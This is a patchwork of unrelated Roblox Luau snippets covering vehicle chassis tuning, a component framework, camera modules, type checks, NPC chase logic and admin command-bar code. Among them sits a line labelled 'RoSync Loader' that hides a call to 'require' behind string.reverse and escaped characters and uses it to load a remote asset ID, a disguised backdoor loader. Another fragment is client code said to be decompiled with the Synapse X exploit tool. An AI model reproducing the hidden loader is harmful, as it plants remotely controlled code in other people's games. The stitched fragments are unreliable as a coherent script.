--- Sets the hide on 'lost focus' feature.
function Cmdr:SetHideOnLostFocus(enabled) self.HideOnLostFocus = enabled end
-- Apply the mode override
Conf.applyOverride(Queue._gameMode)
--[[ Instances ]]
-- local Humanoid = waitForChild(lplr.Character, "Humanoid") local Backing = waitForChild(sp, "LoadingBar") local Bar = waitForChild(Backing, "Bar")
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 script:WaitForChild("Idle") if not FE then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end for i,v in pairs(script:GetChildren()) do v.Parent=car.DriveSeat end car.DriveSeat.Idle:Play() while wait() do local _RPM = script.Parent.Values.RPM.Value if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end car.DriveSeat.Idle.Pitch = (car.DriveSeat.Idle.SetPitch.Value + car.DriveSeat.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2 end else local handler = car.AC6_FE_Idle handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,script.Idle.Volume,true) handler:FireServer("playSound","Idle") local pitch=0 while wait() do local _RPM = script.Parent.Values.RPM.Value if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end pitch = (script.Idle.SetPitch.Value + script.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2 handler:FireServer("updateSound","Idle",script.Idle.SoundId,pitch,script.Idle.Volume) end end
-- ================================================================================ -- InteractionManager -- ================================================================================ --[[ This script runs locally for the player. This script checks processes local player input on a TextButton and via the UserInputService event InputBegan. When a player interacts with the TextButton or presses KEY the game GUI is opened unless the player is already interacting. ]]
--
--[[ Component.Auto(folder) -> Create components automatically from descendant modules of this folder -> Each module must have a '.Tag' string property -> Each module optionally can have '.RenderPriority' number property component = Component.FromTag(tag) -> Retrieves an existing component from the tag name component = Component.new(tag, class [, renderPriority]) -> Creates a new component from the tag name, class module, and optional render priority component:GetAll() component:GetFromInstance(instance) component:GetFromID(id) component:Filter(filterFunc) component:WaitFor(instanceOrName) component:Destroy() component.Added(obj) component.Removed(obj) ----------------------------------------------------------------------- A component class must look something like this: -- DEFINE local MyComponent = {} MyComponent.__index = MyComponent -- CONSTRUCTOR function MyComponent.new(instance) local self = setmetatable({}, MyComponent) return self end -- FIELDS AFTER CONSTRUCTOR COMPLETES MyComponent.Instance: Instance -- OPTIONAL LIFECYCLE HOOKS function MyComponent:Init() end -> Called right after constructor function MyComponent:Deinit() end -> Called right before deconstructor function MyComponent:HeartbeatUpdate(dt) ... end -> Updates every heartbeat function MyComponent:SteppedUpdate(dt) ... end -> Updates every physics step function MyComponent:RenderUpdate(dt) ... end -> Updates every render step -- DESTRUCTOR function MyComponent:Destroy() end A component is then registered like so: local Component = require(Knit.Util.Component) local MyComponent = require(somewhere.MyComponent) local tag = "MyComponent" local myComponent = Component.new(tag, MyComponent) Components can be listened and queried: myComponent.Added:Connect(function(instanceOfComponent) -- New MyComponent constructed end) myComponent.Removed:Connect(function(instanceOfComponent) -- New MyComponent deconstructed end) --]]
local Maid = require(script.Parent.Maid) local Signal = require(script.Parent.Signal) local Promise = require(script.Parent.Promise) local Thread = require(script.Parent.Thread) local TableUtil = require(script.Parent.TableUtil) local CollectionService = game:GetService("CollectionService") local RunService = game:GetService("RunService") local Players = game:GetService("Players") local IS_SERVER = RunService:IsServer() local DEFAULT_WAIT_FOR_TIMEOUT = 60 local ATTRIBUTE_ID_NAME = "ComponentServerId"
--attack function
function attack() for i,v in pairs(workspace:GetChildren()) do if v:FindFirstChild("Humanoid") then if v ~= script.Parent then if (v.Head.Position - script.Parent.Head.Position).Magnitude < damagerange then v.Humanoid:TakeDamage(damage) end end end end wait(0.3) end
-- Clear any existing animation tracks -- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil if animator then local animTracks = animator:GetPlayingAnimationTracks() for i, track in ipairs(animTracks) do track:Stop(0) track:Destroy() end end for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end
--Once we've found a WeaponsSystem folder, we try to find a module in it by the same name.
local WeaponsSystemModule = WeaponsSystemFolder:WaitForChild("WeaponsSystem") if not WeaponsSystemModule or not WeaponsSystemModule:IsA("ModuleScript") then error("No WeaponsSystemModule in the WeaponsSystem found!") end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local car = script.Parent.Car.Value local vl = script.Parent.Values local strength = 350 local max = 4 --in sps while wait() do if vl.Throttle.Value < 0.1 and vl.RPM.Value > 0 and vl.Velocity.Value.Magnitude < max and (math.abs(vl.Gear.Value) > 0) then car.Body.Creep.BV.MaxForce = Vector3.new(strength,0,strength) else car.Body.Creep.BV.MaxForce = Vector3.new(0,0,0) end car.Body.Creep.BV.Velocity = car.Body.Creep.CFrame.lookVector*(8*(math.min(vl.Gear.Value,1))) end
-- Components will only work on instances parented under these descendants:
local DESCENDANT_WHITELIST = {workspace, Players} local Component = {} Component.__index = Component local componentsByTag = {} local function IsDescendantOfWhitelist(instance) for _,v in ipairs(DESCENDANT_WHITELIST) do if (instance:IsDescendantOf(v)) then return true end end return false end function Component.FromTag(tag) return componentsByTag[tag] end function Component.Auto(folder) local function Setup(moduleScript) local m = require(moduleScript) assert(type(m) == "table", "Expected table for component") assert(type(m.Tag) == "string", "Expected .Tag property") Component.new(m.Tag, m, m.RenderPriority) end for _,v in ipairs(folder:GetDescendants()) do if (v:IsA("ModuleScript")) then Setup(v) end end folder.DescendantAdded:Connect(function(v) if (v:IsA("ModuleScript")) then Setup(v) end end) end function Component.new(tag, class, renderPriority) assert(type(tag) == "string", "Argument #1 (tag) should be a string; got " .. type(tag)) assert(type(class) == "table", "Argument #2 (class) should be a table; got " .. type(class)) assert(type(class.new) == "function", "Class must contain a .new constructor function") assert(type(class.Destroy) == "function", "Class must contain a :Destroy function") assert(componentsByTag[tag] == nil, "Component already bound to this tag") local self = setmetatable({}, Component) self.Added = Signal.new() self.Removed = Signal.new() self._maid = Maid.new() self._lifecycleMaid = Maid.new() self._tag = tag self._class = class self._objects = {} self._instancesToObjects = {} self._hasHeartbeatUpdate = (type(class.HeartbeatUpdate) == "function") self._hasSteppedUpdate = (type(class.SteppedUpdate) == "function") self._hasRenderUpdate = (type(class.RenderUpdate) == "function") self._hasInit = (type(class.Init) == "function") self._hasDeinit = (type(class.Deinit) == "function") self._renderPriority = renderPriority or Enum.RenderPriority.Last.Value self._lifecycle = false self._nextId = 0 self._maid:GiveTask(CollectionService:GetInstanceAddedSignal(tag):Connect(function(instance) if (IsDescendantOfWhitelist(instance)) then self:_instanceAdded(instance) end end)) self._maid:GiveTask(CollectionService:GetInstanceRemovedSignal(tag):Connect(function(instance) self:_instanceRemoved(instance) end)) self._maid:GiveTask(self._lifecycleMaid) do local b = Instance.new("BindableEvent") for _,instance in ipairs(CollectionService:GetTagged(tag)) do if (IsDescendantOfWhitelist(instance)) then local c = b.Event:Connect(function() self:_instanceAdded(instance) end) b:Fire() c:Disconnect() end end b:Destroy() end componentsByTag[tag] = self self._maid:GiveTask(function() componentsByTag[tag] = nil end) return self end function Component:_startHeartbeatUpdate() local all = self._objects self._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt) for _,v in ipairs(all) do v:HeartbeatUpdate(dt) end end) self._lifecycleMaid:GiveTask(self._heartbeatUpdate) end function Component:_startSteppedUpdate() local all = self._objects self._steppedUpdate = RunService.Stepped:Connect(function(_, dt) for _,v in ipairs(all) do v:SteppedUpdate(dt) end end) self._lifecycleMaid:GiveTask(self._steppedUpdate) end function Component:_startRenderUpdate() local all = self._objects self._renderName = (self._tag .. "RenderUpdate") RunService:BindToRenderStep(self._renderName, self._renderPriority, function(dt) for _,v in ipairs(all) do v:RenderUpdate(dt) end end) self._lifecycleMaid:GiveTask(function() RunService:UnbindFromRenderStep(self._renderName) end) end function Component:_startLifecycle() self._lifecycle = true if (self._hasHeartbeatUpdate) then self:_startHeartbeatUpdate() end if (self._hasSteppedUpdate) then self:_startSteppedUpdate() end if (self._hasRenderUpdate) then self:_startRenderUpdate() end end function Component:_stopLifecycle() self._lifecycle = false self._lifecycleMaid:DoCleaning() end function Component:_instanceAdded(instance) if (self._instancesToObjects[instance]) then return end if (not self._lifecycle) then self:_startLifecycle() end self._nextId = (self._nextId + 1) local id = (self._tag .. tostring(self._nextId)) if (IS_SERVER) then instance:SetAttribute(ATTRIBUTE_ID_NAME, id) end local obj = self._class.new(instance) obj.Instance = instance obj._id = id self._instancesToObjects[instance] = obj table.insert(self._objects, obj) if (self._hasInit) then Thread.Spawn(function() if (self._instancesToObjects[instance] ~= obj) then return end obj:Init() end) end self.Added:Fire(obj) return obj end function Component:_instanceRemoved(instance) self._instancesToObjects[instance] = nil for i,obj in ipairs(self._objects) do if (obj.Instance == instance) then if (self._hasDeinit) then obj:Deinit() end if (IS_SERVER and instance.Parent and instance:GetAttribute(ATTRIBUTE_ID_NAME) ~= nil) then instance:SetAttribute(ATTRIBUTE_ID_NAME, nil) end self.Removed:Fire(obj) obj:Destroy() obj._destroyed = true TableUtil.FastRemove(self._objects, i) break end end if (#self._objects == 0 and self._lifecycle) then self:_stopLifecycle() end end function Component:GetAll() return TableUtil.CopyShallow(self._objects) end function Component:GetFromInstance(instance) return self._instancesToObjects[instance] end function Component:GetFromID(id) for _,v in ipairs(self._objects) do if (v._id == id) then return v end end return nil end function Component:Filter(filterFunc) return TableUtil.Filter(self._objects, filterFunc) end function Component:WaitFor(instance, timeout) local isName = (type(instance) == "string") local function IsInstanceValid(obj) return ((isName and obj.Instance.Name == instance) or ((not isName) and obj.Instance == instance)) end for _,obj in ipairs(self._objects) do if (IsInstanceValid(obj)) then return Promise.Resolve(obj) end end local lastObj = nil return Promise.FromEvent(self.Added, function(obj) lastObj = obj return IsInstanceValid(obj) end):Then(function() return lastObj end):Timeout(timeout or DEFAULT_WAIT_FOR_TIMEOUT) end function Component:Destroy() self._maid:Destroy() end return Component
-- Register's a newly added Motor6D -- into the provided joint rotator.
function CharacterRealism:AddMotor(rotator, motor) local parent = motor.Parent if parent and parent.Name == "Head" then parent.CanCollide = false end -- Wait until this motor is marked as active -- before attempting to use it in the rotator. Util:PromiseValue(motor, "Active", function () local data = { Motor = motor; C0 = motor.C0; } -- If it can be found, use the source RigAttachment for this Motor6D -- joint instead of using the static C0 value. This is intended for R15. Util:PromiseChild(motor.Part0, motor.Name .. "RigAttachment", function (origin) if origin:IsA("Attachment") then data.Origin = origin data.C0 = nil end end) -- Add this motor to the rotator -- by the name of its Part1 value. local id = motor.Part1.Name rotator.Motors[id] = data end) end
--// # key, Cruise
mouse.KeyDown:connect(function(key) if key=="." then veh.Lightbar.middle.Beep:Play() veh.Lightbar.Remotes.CruiseEvent:FireServer(true) end end)
--//INSPARE//-- --SS3.57--
script.Parent:WaitForChild("CC")
--[[** ensures value is a number where min <= value @param min The minimum to use @returns A function that will return true iff the condition is passed **--]]
function t.numberMin(min) return function(value) local success, errMsg = t.number(value) if not success then return false, errMsg or "" end if value >= min then return true else return false, string.format("number >= %d expected, got %d", min, value) end end end
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1350 -- Front brake force Tune.RBrakeForce = 1550 -- Rear brake force Tune.PBrakeForce = 2500 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--[=[ The same as `SetFiler`, except clears the custom value for any player that passes the predicate. ]=]
function RemoteProperty:ClearFilter(predicate: (Player) -> boolean) for _, player in ipairs(Players:GetPlayers()) do if predicate(player) then self:ClearFor(player) end end end
-- declarations
local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid")
-- a: amplitud -- p: period
local function outElastic(t,a,p,b, c, d) b,c,d = default(b,c,d) if t == 0 then return b end t = t / d if t == 1 then return b + c end if not p then p = d * 0.3 end local s if not a or a < abs(c) then a = c s = p / 4 else s = p / (2 * pi) * asin(c/a) end return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p) + c + b end
--// Bullet Physics
BulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop BulletSpeed = 2750; -- Bullet Speed BulletSpread = 0; -- How much spread the bullet has ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds ExploSpeed = 600; -- Speed for explosive rounds BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)
--[[Engine]]
--Torque Curve Tune.Horsepower = 625 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 0 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 14000 -- Use sliders to manipulate values Tune.Redline = 15000 Tune.EqPoint = 6000 Tune.PeakSharpness = 5.5 Tune.CurveMult = 0.07 Tune.ElectricHorsepower = 250 Tune.ElectricEqPoint = 10000 Tune.ElectricPeakSharpness = 1.5 Tune.ElectricCurveMult = .01 Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 500 -- RPM acceleration when clutch is off Tune.RevDecay = 250 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 0 -- Percent throttle at idle Tune.ClutchTol = 1000 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM) Tune.ShiftTime = .025 Tune.FlyWheel = 50 Tune.CacheInc = 50 --Turbo Settings Tune.Aspiration = "Natural" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger ]] Tune.Boost = 8 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 50 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 8.2 --The compression ratio (look it up)
-- Main function that will be called when a player joins the game
local function PlayerJoined(player) -- Secondary function to remove unwanted meshes from the player's character local function RemoveMeshes(character) -- Wait for the humanoid to load local humanoid = character:WaitForChild("Humanoid") -- Wait for a short time to ensure all accessories are loaded properly task.wait() -- Modify the description of the humanoid to reset its appearance local currentDescription = humanoid:GetAppliedDescription() currentDescription.Head = 0 currentDescription.Torso = 0 currentDescription.LeftArm = 0 currentDescription.RightArm = 0 currentDescription.LeftLeg = 0 currentDescription.RightLeg = 0 humanoid:ApplyDescription(currentDescription) -- Remove any unwanted accessories that are not attached to the character's head for _, accessory in pairs(character:GetChildren()) do if accessory:IsA("Accessory") then local handle = accessory:FindFirstChild("Handle") if handle then local weld = FindChildOfClassRecursive(accessory, "Weld") -- Use the recursive search function here if weld then end if weld and weld.Part1.Name ~= character:FindFirstChild("Head").Name then accessory:Destroy() end end end end end -- Connect the RemoveMeshes function to the CharacterAppearanceLoaded event of the player player.CharacterAppearanceLoaded:Connect(RemoveMeshes) end
--[[ Last synced 12/17/2020 10:32 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-------------------------------------------------------------------------------- -- Popper.lua -- Prevents your camera from clipping through walls. --------------------------------------------------------------------------------
local Players = game:GetService('Players') local Collection = game:GetService("CollectionService") local FFlagUserPoppercamLooseOpacityThreshold do local success, enabled = pcall(function() return UserSettings():IsUserFeatureEnabled("UserPoppercamLooseOpacityThreshold") end) FFlagUserPoppercamLooseOpacityThreshold = success and enabled end local camera = game.Workspace.CurrentCamera local min = math.min local tan = math.tan local rad = math.rad local inf = math.huge local ray = Ray.new local function eraseFromEnd(t, toSize) for i = #t, toSize + 1, -1 do t[i] = nil end end local nearPlaneZ, projX, projY do local function updateProjection() local fov = rad(camera.FieldOfView) local view = camera.ViewportSize local ar = view.X/view.Y projY = 2*tan(fov/2) projX = ar*projY end camera:GetPropertyChangedSignal('FieldOfView'):Connect(updateProjection) camera:GetPropertyChangedSignal('ViewportSize'):Connect(updateProjection) updateProjection() nearPlaneZ = camera.NearPlaneZ camera:GetPropertyChangedSignal('NearPlaneZ'):Connect(function() nearPlaneZ = camera.NearPlaneZ end) end local blacklist = {} do local charMap = {} local function refreshIgnoreList() blacklist = {unpack(Collection:GetTagged("IgnoreCamera"))} local n = #blacklist + 1 for _, character in pairs(charMap) do blacklist[n] = character n = n + 1 end end local function OnIgnoreCollectionUpdated(instance) refreshIgnoreList() end local function playerAdded(player) local function characterAdded(character) charMap[player] = character refreshIgnoreList() end local function characterRemoving() charMap[player] = nil refreshIgnoreList() end player.CharacterAdded:Connect(characterAdded) player.CharacterRemoving:Connect(characterRemoving) if player.Character then characterAdded(player.Character) end end local function playerRemoving(player) charMap[player] = nil refreshIgnoreList() end Collection:GetInstanceAddedSignal("IgnoreCamera"):Connect(OnIgnoreCollectionUpdated) Collection:GetInstanceRemovedSignal("IgnoreCamera"):Connect(OnIgnoreCollectionUpdated) Players.PlayerAdded:Connect(playerAdded) Players.PlayerRemoving:Connect(playerRemoving) for _, instance in next,Collection:GetTagged("IgnoreCamera") do OnIgnoreCollectionUpdated(instance) end for _, player in ipairs(Players:GetPlayers()) do playerAdded(player) end refreshIgnoreList() end
--[[ function playsound(time) nextsound=time+5+(math.random()*5) local randomsound=sounds[math.random(1,#sounds)] randomsound.Volume=.5+(.5*math.random()) randomsound.Pitch=.5+(.5*math.random()) randomsound:Play() end --]]
while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do local _,time=wait(1/3) humanoids={} populatehumanoids(game.Workspace) closesttarget=nil closestdist=sightrange local creator=sp:FindFirstChild("creator") for i,h in ipairs(humanoids) do if h and h.Parent~=nil then if h.Health>0 and h.Parent.Name~=sp.Name and h.Parent~=sp then local plr=game.Players:GetPlayerFromCharacter(h.Parent) if creator==nil or plr==nil or creator.Value~=plr then local t=h.Parent:FindFirstChild("Torso") if t~=nil then local dist=(t.Position-Torso.Position).magnitude if dist<closestdist then closestdist=dist closesttarget=t end end end end end end if closesttarget~=nil then if not chasing then --playsound(time) chasing=true Humanoid.WalkSpeed=runspeed end Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget) if math.random()<.5 then attack(time,closesttarget.Position) end else if chasing then chasing=false Humanoid.WalkSpeed=wonderspeed end if time>nextrandom then nextrandom=time+5+(math.random()*5) local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(math.random(),math.random(),math.random()))*40) Humanoid:MoveTo(randompos,game.Workspace.Terrain) end end
--Hide cmdbar and request command when FocusLost
local function setupEnterPress(props) props.textBox.FocusLost:connect(function(enter) if props.mainParent.Name ~= "CmdBar" or props.specificArg then if props.suggestionDisplayed > 0 then selectSuggestion(props, props.specificArg) end else if props.suggestionDisplayed > 0 and not forceExecute and main.device ~= "Mobile" then selectSuggestion(props) elseif enter then if forceExecute then selectSuggestion(props) --wait() end module:CloseCmdBar() if #props.textBox.Text > 1 then local commandToRequest = props.textBox.Text local firstChar = string.sub(commandToRequest,1,1) if firstChar ~= main.settings.UniversalPrefix and firstChar ~= main.pdata.Prefix then commandToRequest = main.pdata.Prefix..commandToRequest end local endChar = string.sub(commandToRequest,-1) if endChar == " " then commandToRequest = string.sub(commandToRequest,1,-1) end main.signals.RequestCommand:InvokeServer(commandToRequest) end end end end) end
-- Creates a new timer and keeps track of it's time in the timeLeft value
local gameTimer = timer.new() local displayValues = ReplicatedStorage.DisplayValues local timeLeft = displayValues.TimeLeft
--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.
module.BubbleChatEnabled = PlayersService.ClassicChat module.ClassicChatEnabled = PlayersService.ClassicChat
-- This function converts 4 different, redundant enumeration types to one standard so the values can be compared
function CameraUtils.ConvertCameraModeEnumToStandard(enumValue) if enumValue == Enum.TouchCameraMovementMode.Default then return Enum.ComputerCameraMovementMode.Follow end if enumValue == Enum.ComputerCameraMovementMode.Default then return Enum.ComputerCameraMovementMode.Classic end if enumValue == Enum.TouchCameraMovementMode.Classic or enumValue == Enum.DevTouchCameraMovementMode.Classic or enumValue == Enum.DevComputerCameraMovementMode.Classic or enumValue == Enum.ComputerCameraMovementMode.Classic then return Enum.ComputerCameraMovementMode.Classic end if enumValue == Enum.TouchCameraMovementMode.Follow or enumValue == Enum.DevTouchCameraMovementMode.Follow or enumValue == Enum.DevComputerCameraMovementMode.Follow or enumValue == Enum.ComputerCameraMovementMode.Follow then return Enum.ComputerCameraMovementMode.Follow end if enumValue == Enum.TouchCameraMovementMode.Orbital or enumValue == Enum.DevTouchCameraMovementMode.Orbital or enumValue == Enum.DevComputerCameraMovementMode.Orbital or enumValue == Enum.ComputerCameraMovementMode.Orbital then return Enum.ComputerCameraMovementMode.Orbital end if FFlagUserCameraToggle then if enumValue == Enum.ComputerCameraMovementMode.CameraToggle or enumValue == Enum.DevComputerCameraMovementMode.CameraToggle then return Enum.ComputerCameraMovementMode.CameraToggle end end -- Note: Only the Dev versions of the Enums have UserChoice as an option if enumValue == Enum.DevTouchCameraMovementMode.UserChoice or enumValue == Enum.DevComputerCameraMovementMode.UserChoice then return Enum.DevComputerCameraMovementMode.UserChoice end -- For any unmapped options return Classic camera return Enum.ComputerCameraMovementMode.Classic end return CameraUtils
-- Note: Called whenever workspace.CurrentCamera changes, but also on initialization of this script
function CameraModule:OnCurrentCameraChanged() local currentCamera = game.Workspace.CurrentCamera if not currentCamera then return end if self.cameraSubjectChangedConn then self.cameraSubjectChangedConn:Disconnect() end if self.cameraTypeChangedConn then self.cameraTypeChangedConn:Disconnect() end self.cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(function() self:OnCameraSubjectChanged(currentCamera.CameraSubject) end) self.cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):Connect(function() self:OnCameraTypeChanged(currentCamera.CameraType) end) self:OnCameraSubjectChanged(currentCamera.CameraSubject) self:OnCameraTypeChanged(currentCamera.CameraType) end function CameraModule:OnLocalPlayerCameraPropertyChanged(propertyName) if propertyName == "CameraMode" then -- CameraMode is only used to turn on/off forcing the player into first person view. The -- Note: The case "Classic" is used for all other views and does not correspond only to the ClassicCamera module if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then -- Locked in first person, use ClassicCamera which supports this if not self.activeCameraController or self.activeCameraController:GetModuleName() ~= "ClassicCamera" then self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(Enum.DevComputerCameraMovementMode.Classic)) end if self.activeCameraController then self.activeCameraController:UpdateForDistancePropertyChange() end elseif Players.LocalPlayer.CameraMode == Enum.CameraMode.Classic then -- Not locked in first person view local cameraMovementMode =self: GetCameraMovementModeFromSettings() self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode)) else warn("Unhandled value for property player.CameraMode: ",Players.LocalPlayer.CameraMode) end elseif propertyName == "DevComputerCameraMode" or propertyName == "DevTouchCameraMode" then local cameraMovementMode = self:GetCameraMovementModeFromSettings() self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode)) elseif propertyName == "DevCameraOcclusionMode" then self:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode) elseif propertyName == "CameraMinZoomDistance" or propertyName == "CameraMaxZoomDistance" then if self.activeCameraController then self.activeCameraController:UpdateForDistancePropertyChange() end elseif propertyName == "DevTouchMovementMode" then elseif propertyName == "DevComputerMovementMode" then elseif propertyName == "DevEnableMouseLock" then -- This is the enabling/disabling of "Shift Lock" mode, not LockFirstPerson (which is a CameraMode) -- Note: Enabling and disabling of MouseLock mode is normally only a publish-time choice made via -- the corresponding EnableMouseLockOption checkbox of StarterPlayer, and this script does not have -- support for changing the availability of MouseLock at runtime (this would require listening to -- Player.DevEnableMouseLock changes) end end function CameraModule:OnUserGameSettingsPropertyChanged(propertyName) if propertyName == "ComputerCameraMovementMode" then local cameraMovementMode = self:GetCameraMovementModeFromSettings() self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode)) end end
--[[** ensures value is a table and all keys pass keyCheck and all values pass valueCheck @param keyCheck The function to use to check the keys @param valueCheck The function to use to check the values @returns A function that will return true iff the condition is passed **--]]
function t.map(keyCheck, valueCheck) assert(t.callback(keyCheck), t.callback(valueCheck)) local keyChecker = t.keys(keyCheck) local valueChecker = t.values(valueCheck) return function(value) local keySuccess, keyErr = keyChecker(value) if not keySuccess then return false, keyErr or "" end local valueSuccess, valueErr = valueChecker(value) if not valueSuccess then return false, valueErr or "" end return true end end do local arrayKeysCheck = t.keys(t.integer) --[[** ensures value is an array and all values of the array match check @param check The check to compare all values with @returns A function that will return true iff the condition is passed **--]] function t.array(check) assert(t.callback(check)) local valuesCheck = t.values(check) return function(value) local keySuccess, keyErrMsg = arrayKeysCheck(value) if keySuccess == false then return false, string.format("[array] %s", keyErrMsg or "") end -- all keys are sequential local arraySize = #value for key in pairs(value) do if key < 1 or key > arraySize then return false, string.format("[array] key %s must be sequential", tostring(key)) end end local valueSuccess, valueErrMsg = valuesCheck(value) if not valueSuccess then return false, string.format("[array] %s", valueErrMsg or "") end return true end end end do local callbackArray = t.array(t.callback) --[[** creates a union type @param ... The checks to union @returns A function that will return true iff the condition is passed **--]] function t.union(...) local checks = {...} assert(callbackArray(checks)) return function(value) for _, check in pairs(checks) do if check(value) then return true end end return false, "bad type for union" end end --[[** creates an intersection type @param ... The checks to intersect @returns A function that will return true iff the condition is passed **--]] function t.intersection(...) local checks = {...} assert(callbackArray(checks)) return function(value) for _, check in pairs(checks) do local success, errMsg = check(value) if not success then return false, errMsg or "" end end return true end end end do local checkInterface = t.map(t.string, t.callback) --[[** ensures value matches given interface definition @param checkTable The interface definition @returns A function that will return true iff the condition is passed **--]] function t.interface(checkTable) assert(checkInterface(checkTable)) return function(value) local tableSuccess, tableErrMsg = t.table(value) if tableSuccess == false then return false, tableErrMsg or "" end for key, check in pairs(checkTable) do local success, errMsg = check(value[key]) if success == false then return false, string.format("[interface] bad value for %s:\n\t%s", key, errMsg or "") end end return true end end --[[** ensures value matches given interface definition strictly @param checkTable The interface definition @returns A function that will return true iff the condition is passed **--]] function t.strictInterface(checkTable) assert(checkInterface(checkTable)) return function(value) local tableSuccess, tableErrMsg = t.table(value) if tableSuccess == false then return false, tableErrMsg or "" end for key, check in pairs(checkTable) do local success, errMsg = check(value[key]) if success == false then return false, string.format("[interface] bad value for %s:\n\t%s", key, errMsg or "") end end for key in pairs(value) do if not checkTable[key] then return false, string.format("[interface] unexpected field '%s'", key) end end return true end end end
--| Humanoid, HumanoidRootPart |--
local Humanoid = Characters:WaitForChild("Humanoid") local HumanoidRootPart = Characters:WaitForChild("HumanoidRootPart")
-- goro7
local voteStates = game.ServerStorage.States.MapVote voteStates.CurrentlyVoting.Changed:connect(function() -- Adjust visiblity local newVal = voteStates.CurrentlyVoting.Value script.Parent.Image.Visible = newVal script.Parent.CountLabel.Visible = newVal script.Parent.MapName.Visible = newVal script.Parent.Count.Visible = newVal end) voteStates.Map2.Changed:connect(function() -- Update map name and image local newMap = voteStates.Map2.Value script.Parent.Image.Image = newMap.ImageAsset.Value script.Parent.MapName.Text = newMap.Name end) voteStates.Count2.Changed:connect(function() -- Update map count script.Parent.Count.Text = voteStates.Count2.Value end)
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; gTable = nil; return function(p1) local v1 = nil; local l__PlayerGui__2 = service.PlayerGui; local l__LocalPlayer__3 = service.Players.LocalPlayer; local v4 = service.New("ScreenGui"); local v5 = service.New("ImageButton", v4); v1 = client.UI.Register(v4); if client.UI.Get("HelpButton", v4, true) then v4:Destroy(); v1:Destroy(); return nil; end; v1.Name = "HelpButton"; v1.CanKeepAlive = false; v5.Name = "Toggle"; v5.BackgroundTransparency = 1; v5.Position = UDim2.new(1, -45, 1, -45); v5.Size = UDim2.new(0, 40, 0, 40); v5.Image = "rbxassetid://357249130"; v5.ImageTransparency = 0.5; v5.MouseButton1Down:connect(function() local v6 = client.UI.Get("UserPanel", nil, true); if not v6 then client.UI.Make("UserPanel", {}); return; end; v6.Object:Destroy(); end); v1:Ready(); end;
--Precalculated paths
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--- Returns whatever the Transform method gave us.
function Argument:GetTransformedValue(segment) return unpack(self.TransformedValues[segment]) end
-- Libraries
local Roact = require(Vendor:WaitForChild 'Roact') local Maid = require(Libraries:WaitForChild 'Maid') local Support = require(Libraries:WaitForChild 'SupportLibrary')